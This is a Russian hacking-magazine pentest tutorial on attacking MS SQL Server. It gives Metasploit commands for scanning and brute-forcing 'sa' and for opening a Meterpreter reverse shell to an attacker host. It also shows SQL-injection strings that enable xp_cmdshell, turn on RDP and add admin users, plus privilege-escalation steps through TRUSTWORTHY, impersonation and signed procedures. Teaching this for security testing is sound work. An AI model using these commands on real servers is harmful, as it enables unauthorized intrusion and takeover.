Проверяем MS SQL на прочность. Векторы атак на MS SQL Server
Практически ни один серьезный пентест не обходится без проверки СУБД, ведь это одна из самых популярных у злоумышленников дверей к желаемой информации и машине. В крупных проектах в качестве СУБД очень часто используется MS SQL Server. И о проверке именно его безопасности мы сегодня и поговорим. Открывать Америку не будем — опытные камрады лишь освежат свои знания, а вот для тех, кто только начинает осваивать тему, я постарался максимально подробно разложить все по пунктам.
ВведениеОдин из самых важных критериев надежности информационной системы — безопасность СУБД. Атаки, направленные на нее, в большинстве случаев критические, потому что могут частично либо полностью нарушить работоспособность системы. Поскольку крупные организации формировали свою инфраструктуру давным-давно и обновление на новые версии ПО вызывает у них «большие» проблемы, самыми распространенными версиями до сих пор остаются MS SQL Server 2005 и MS SQL Server 2008. Но это всего лишь статистика, и далее мы будем рассматривать общие для всех версий векторы и техники. Для удобства условно разобьем весь процесс пентеста на несколько этапов.Как найти MS SQL Первое, что начинает делать пентестер, — это собирать информацию о сервисах, расположенных на сервере жертвы. Самое главное, что нужно знать для поиска Microsoft SQL Server, — номера портов, которые он слушает. А слушает он порты 1433 (TCP) и 1434 (UDP). Чтобы проверить, имеется ли MS SQL на сервере жертвы, необходимо его просканировать. Для этого можно использовать Nmap cо скриптом `ms-sql-info`. Запускаться сканирование будет примерно так: nmap -p 1433 --script=ms-sql-info 192.168.18.128 Ну, а результат его выполнения представлен на рис. 1.Рис. 1.Сканирование MS SQL при помощи Nmap
Помимо Nmap, есть отличный сканирующий модуль для Метасплоита `mssql_ping`, позволяющий также определять наличие MS SQL на атакуемом сервере:
msf> use auxilary/scanner/mssql/mssql_ping msf auxilary (mssql_ping) > set RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary (mssql_ping) > run Рис. 2. Сканирование MS SQL при помощи mssql_pingИспользуя один из данных вариантов, можно быстренько определить, установлен ли на сервере MS SQL, а также узнать его версию. После чего можно переходить к следующему этапу.
Brute force Допустим, СУБД на сервере мы обнаружили. Теперь стоит задача получить к ней доступ. И тут нас встречает первое препятствие в виде аутентификации. Вообще, MS SQL поддерживает два вида аутентификации: Windows Authentication — доверительное соединение, при котором SQL Server принимает учетную запись пользователя, предполагая, что она уже проверена на уровне операционной системы. Смешанный режим — аутентификация средствами SQL Server + Windows Authentication. По умолчанию используется первый режим аутентификации, а смешанный режим активируется отдельно. На практике же довольно трудно встретить базу без смешанного режима — он более гибок. Некоторые плюсы смешанного режима Позволяет SQL Server поддерживать более старые приложения, а также поставляемые сторонними производителями приложения, для которых необходима проверка подлинности SQL Server. Позволяет SQL Server поддерживать среды с несколькими операционными системами, в которых пользователи не проходят проверку подлинности домена Windows. Позволяет разработчикам программного обеспечения распространять свои приложения с помощью сложной иерархии разрешений, основанной на известных, заранее установленных именах входа SQL Server. Обычно на данном этапе мы не имеем доступа в корпоративную сеть, тем самым использовать аутентификацию посредством Windows не можем. Но мы нашли открытый порт с MS SQL, значит, пробуем побрутить админскую учетку `sa`, стандартную для смешанного режима. Для автоматизации процесса используем модуль Метасплоита `mssql_login`: msf > use auxiliary/scanner/mssql/mssql_login msf auxiliary (mssql_login) > set RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary (mssql_login) > set PASS_FILE /root/Desktop/pass.txt [*] 172.16.2.104:1433 — MSSQL — Starting authentication scanner. [*] 172.16.2.104:1433 — LOGIN FAILED: WORKSTATION\sa: admin (Incorrect:) [*] 172.16.2.104:1433 — LOGIN FAILED: WORKSTATION\sa: qwerty (Incorrect:) [*] 172.16.2.104:1433 — LOGIN FAILED: WORKSTATION\sa: toor (Incorrect:) [+] 172.16.2.104:1433 — LOGIN SUCCESSFUL: WORKSTATION\sa: root [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed Отлично! Пароль найден, теперь можем переходить к следующему этапу. Но что, если учетки `sa` на сервере не окажется? Тогда придется брутить и логин, для чего необходимо будет указать скрипту еще один файл, откуда их брать: msf auxiliary (mssql_login) > set USER_FILE /root/Desktop/user.txt WWW Большое разнообразие словарей для брутфорса можно найти здесь. Получение shell«а В случае если у нас получилось сбрутить учетку `sa`, мы можем залогиниться в БД. Далее сценарий прост — включаем хранимую процедуру, позволяющую выполнять команды на уровне операционной системы, и заливаем на сервер Meterpreter shell. Крутые ребята написали для Метасплоита отличный модуль `mssql_payload`, который автоматизирует этот процесс: msf > use exploit/windows/mssql/mssql_payload msf exploit (mssql_payload) > set RHOST 172.16.2.104 msf exploit (mssql_payload) > set USERNAME sa USERNAME => sa msf exploit (mssql_payload) > set PASSWORD root PASSWORD => root msf exploit (mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit (mssql_payload) > set LHOST 172.16.2.105 LHOST => 172.16.2.105 [*] Command Stager progress — 100.00% done (102246/102246 bytes) [*] Meterpreter session 1 opened (172.16.2.105:4444 → 172.16.2.104:3987) at 2015–02–20 10:42:52 -0500
meterpreter > Сессия Meterpreter«a создана, теперь ты имеешь полный доступ. Можешь дампить хеш админа, делать скриншоты, создавать/удалять файлы, включать/выключать мышь или клавиатуру и многое другое. Пожалуй, это самый популярный шелл, который используется при тестах на проникновение. Полный список команд Meterpreter«a можно подсмотреть здесь.Что делать, если логин/пароль не сбрутился? Но не обольщайся, не так часто модуль `mssql_login` будет тебя радовать: пароль админы очень редко оставляют дефолтным. В таком случае получить шелл нам поможет SQL-инъекция. Представь себе HTML-форму, в которую пользователь вводит номер статьи, и простой уязвимый запрос к БД, причем все это работает под админской учеткой `sa`: $strSQL = «SELECT * FROM [dbo].[articles] WHERE id=$id»; Переменная `$id` никак не фильтруется, значит, можно провести SQL-инъекцию, в которой любой запрос будет выполнен из-под админской учетки `sa`. Для того чтобы выполнять команды на уровне операционной системы, необходимо активировать хранимую процедуру `xp_cmdshell`, которая по умолчанию выключена. Нам потребуется отправить четыре запроса для ее активации:`10; EXEC sp_configure 'show advanced options',1;` `10; reconfigure;` `10; «exec sp_configure 'xp_cmdshell',1;` `10; reconfigure` Системная хранимая процедура `sp_configure` позволяет просматривать, документировать, изменять и восстанавливать конфигурацию сервера. Наиболее простой способ получить доступ к серверу — включить RDP через реестр, создать пользователя с админскими правами и подключиться.Включаем RDP:
10; reg add «HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server» /v fDenyTSConnections /t REG_DWORD /d 0 /f Создаем пользователя: 10; exec master.dbo.xp_cmdshell 'net user root toor /ADD' Даем права: 10; exec master.dbo.xp_cmdshell 'net localgroup administrators root/add' Повышение привилегий. TRUSTWORTHY В предыдущем случае запрос к базе происходил от имени админа, и поэтому было так просто исполнять команды операционной системы. Но что делать, если мы имеем урезанную учетку, у которой не будет прав включить `xp_cmdshell`? В этом случае нам помогут хранимые процедуры и активированное свойство `TRUSTWORTHY` у базы.Но начнем с самого начала. Для большей наглядности этого вектора опишу весь этап еще на стадии конфигурации базы и учетных записей. Создаем новую базу `YOLO`: `CREATE DATABASE YOLO;`. Создаем нового пользователя `bob` с паролем `marley`: `CREATE LOGIN bob WITH PASSWORD = 'marley';` Назначаем пользователя `bob` владельцем базы `YOLO`:
USE YOLO ALTER LOGIN [bob] with default_database = [YOLO]; CREATE USER [bob] FROM LOGIN [bob]; EXEC sp_addrolemember [db_owner], [bob]; Затем устанавливаем свойство `TRUSTWORTHY`, которое определяет, разрешать ли объектам данной базы (представлениям, пользовательским функциям, хранимым процедурам) обращаться к объектам за пределами данной базы в режиме имперсонации: `ALTER DATABASE YOLO SET TRUSTWORTHY ON`. Логинимся в SQL Server под учеткой `bob: marley`.Создаем хранимую процедуру для присвоения учетной записи bob привилегий sysadmin: USE YOLO GO CREATE PROCEDURE sp_lvlup WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'bob','sysadmin' GO Убедимся, что до исполнения хранимой процедуры мы не имеем привилегий sysadmin: SELECT is_srvrolemember ('sysadmin') результат = 0 Выполним созданную выше хранимую процедуру `sp_lvlup`: USE YOLO EXEC sp_lvlup И опять проверим наши привилегии: SELECT is_srvrolemember ('sysadmin') результат = 1 Процедура `sp_lvlup` создана для запуска от имени `OWNER`, что в данном случае является админской учетной записью `sa`. Это возможно, потому что `db_owner` создал хранимую процедуру для своей базы, а эта база сконфигурирована как надежная, то есть свойство `TRUSTWORTHY = On`. Без этого свойства не удалось бы исполнить процедуру из-за нехватки привилегий. Активированное свойство TRUSTWORTHY — это не всегда плохо. Проблемы начинаются, когда администраторы не понижают привилегии владельцам баз. В итоге учетной записи `bob` после исполнения процедуры `sp_lvlup` присвоены привилегии `sysadmin`. Чтобы посмотреть, у каких баз активировано свойство `TRUSTWORTHY`, можно воспользоваться следующим запросом: SELECT name, database_id, is_trustworthy_on FROM sys.databases Или для автоматизации всего процесса можно использовать модуль для Метасплоита `mssql_escalate_dbowner_sqli`:
use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp? id=1+and+1=[SQLi];-- exploit … [+] 172.16.2.104:80 — Success! Bob is now a sysadmin! Повышение привилегий. User Impersonation Следующий вектор имеет название User Impersonation. Иногда хранимым процедурам необходим доступ к внешним ресурсам, находящимся за пределами базы приложения. Чтобы это реализовать, разработчики используют привилегии `IMPERSONATE` и функцию `EXECUTE AS`, позволяющие выполнить запрос от имени другой учетной записи. Это не уязвимость как таковая, а скорее слабая конфигурация, приводящая к эскалации привилегий.Как и в предыдущем примере, начнем разбирать суть вектора еще на стадии конфигурации. Первым делом создаем четыре учетные записи:
CREATE LOGIN User1 WITH PASSWORD = 'secret'; CREATE LOGIN User2 WITH PASSWORD = 'secret'; CREATE LOGIN User3 WITH PASSWORD = 'secret'; CREATE LOGIN User4 WITH PASSWORD = 'secret'; Затем даем пользователю `User1` привилегии исполнять запросы от имени `sa`, `User2`, `User3`: USE master; GRANT IMPERSONATE ON LOGIN: sa to [MyUser1]; GRANT IMPERSONATE ON LOGIN: MyUser2 to [MyUser1]; GRANT IMPERSONATE ON LOGIN: MyUser3 to [MyUser1]; GO Логинимся в SQL Server под учетной записью `User1` и проверяем, применились ли привилегии исполнять запросы от других учетных записей. SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' Теперь проверим текущие привилегии: SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER ('sysadmin') Результат = 0 Ну, а сейчас собственно сам трюк — выполним запрос от имени `sa`, так как выше мы дали привилегии учетной записи `User1` выполнять запросы от имени `sa`: EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER ('sysadmin') Результат = 1 Все в порядке, теперь можем выполнять команды от имени `sa`, а значит, можно включить хранимую процедуру `xp_cmdshell`: EXEC sp_configure 'show advanced options',1 RECONFIGURE GO EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE GO INFO Учетная запись `sysadmin` по умолчанию может выполнять запросы от имени любых других пользователей. Вывести таблицу со всеми пользователями тебе поможет запрос: `SELECT * FROM master.sys.sysusers WHERE islogin = 1`. Для выполнения запроса от имени другой учетной записи используй `EXECUTE AS LOGIN = 'AnyUser'`. Чтобы вернуться снова к предыдущей учетной записи, достаточно выполнить запрос `REVERT`. Вот и весь фокус. Для автоматизации, как обычно, можно воспользоваться модулем Метасплоита `mssql_escalete_executeas_sqli`: use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp? id=1+and+1=[SQLi];-- exploit … [+] 172.16.2.104:80 — Success! User1 is now a sysadmin! Повышение привилегий. Хранимые процедуры, подписанные сертификатом Для описания данного вектора создадим уязвимую хранимую процедуру, подписанную сертификатом. В отличие от предыдущих примеров, для эскалации привилегий необязательны: свойство `TRUSTWORTHY = On`; привилегии `IMPERSONATE` и функция `EXECUTE AS`; конфигурация хранимой процедуры с классом `WITH EXECUTE AS` для ее выполнения от имени другой учетной записи. Создадим учетную запись с минимальными правами: CREATE LOGIN tor WITH PASSWORD = 'loki'; GO — Set login«s default database ALTER LOGIN [tor] with default_database = [master]; GO Выключим свойство `TRUSTWORTHY`: `ALTER DATABASE master SET TRUSTWORTHY OFF`. И создадим простую хранимую процедуру `sp_xxx`, которая будет выводить столбец `name` из базы `tempdb`, а также из базы, которую ввел пользователь: USE MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar (max) AS BEGIN Declare @query as varchar (max) SET @query = 'SELECT name FROM master…sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE (@query) END GO После этого создадим ключ шифрования для базы `MASTER`: CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'secret'; GO И сертификат: CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = 'To sign the sp_xxx', EXPIRY_DATE = '2035–01–01'; GO Следующим шагом создаем логин из сертификата `sp_xxx`: CREATE LOGIN sp_xxx_login FROM CERTIFICATE sp_xxx_cert И подпишем процедуру созданным сертификатом: ADD SIGNATURE to sp_xxx BY CERTIFICATE sp_xxx_cert; GO Присвоим логину `sp_lvlup2` привилегии `sysadmin`: EXEC master…sp_addsrvrolemember @loginame = N’sp_xxx_login', @rolename = N’sysadmin' GO Даем привилегии членам группы PUBLIC исполнять процедуру: GRANT EXECUTE ON sp_xxx to PUBLIC В итоге мы создали пользователя `tor` с минимальными правами, хранимую процедуру `sp_xxx`, которая выводит имя введенной базы, создали сертификат `sp_xxx_cert` и подписали им хранимую процедуру, а также создали логин `sp_xxx_login` из сертификата и дали ему привилегии `sysadmin`. На этом подготовительная часть закончена. Логинимся учетной записью `tor` и вызываем хранимую процедуру: EXEC MASTER.dbo.sp_xxx 'master' Как и положено, она вернет нам имя указанной нами БД — `master` и `tempdb` (см. рис. 3).Рис. 3. Результат выполнения запроса EXEC MASTER.dbo.sp_xxx 'master'
Запрос вида `EXEC MASTER.dbo.sp_sqli2 'master''--'` вернет уже только `master` (см. рис. 4).
Рис .4. Результат выполнения запроса EXEC MASTER.dbo.xxx 'master''--'
Отлично. Это означает, что хранимая процедура подвержена SQL-инъекции. Проверим наши привилегии с помощью следующего запроса:
EXEC MASTER.dbo.sp_xxx 'master''; SELECT is_srvrolemember (''sysadmin'')as priv_certsp--'; Рис. 5. Проверяем наши привилегии через уязвимую хранимую процедуру`priv_cersp=1`(см. рис. 5) означает, что мы имеем привилегии sysadmin. Выполнить команду `EXEC master…xp_cmdshell 'whoami';` не получится, потому что у учетной записи `tor` минимальные права, но если этот запрос внедрить в SQL-инъекцию, то все сработает (рис. 6).
Рис. 6. Проверяем свои привилегии в системе
Что самое интересное, такой трюк будет работать в версиях 2005–2014.
Заключение Разница во всех этих векторах весьма существенна. В некоторых случаях для достижения цели можно ограничиться включенным свойством `TRUSTWORTHY`, позволяющим использовать ресурсы данной базы объектам, находящимся вне, для того чтобы создать и исполнить хранимую процедуру, повышающую привилегии. Где-то можно выполнять хранимые процедуры от имени других учетных записей благодаря наличию привилегий `IMPERSONATE` и функции `EXECUTE AS`, а в третьих случаях важно лишь наличие SQL-инъекции, через которую можно внедрить запрос, и он будет исполнен от имени другой учетной записи. Для полного понимания нюансов и тонкостей я бы советовал проверить эти векторы на своей локальной машине.В статье не дано исчерпывающее изложение всех векторов атак на СУБД MS SQL, но для поверхностного анализа защищенности она будет весьма полезна. Также рекомендую ознакомиться с другим вектором взлома через DB link«и, который описал Алексей Тюрин в декабрьском номере ][ (#191) в разделе Easy Hack. На этом все, благодарю за внимание и до новых встреч.
Впервые опубликовано в журнале «Хакер» от 04/2015.Автор: Никита «ir0n» Келесис, Digital Security (@nkelesis, nikita.elkey@gmail.com)
Подпишись на «Хакер»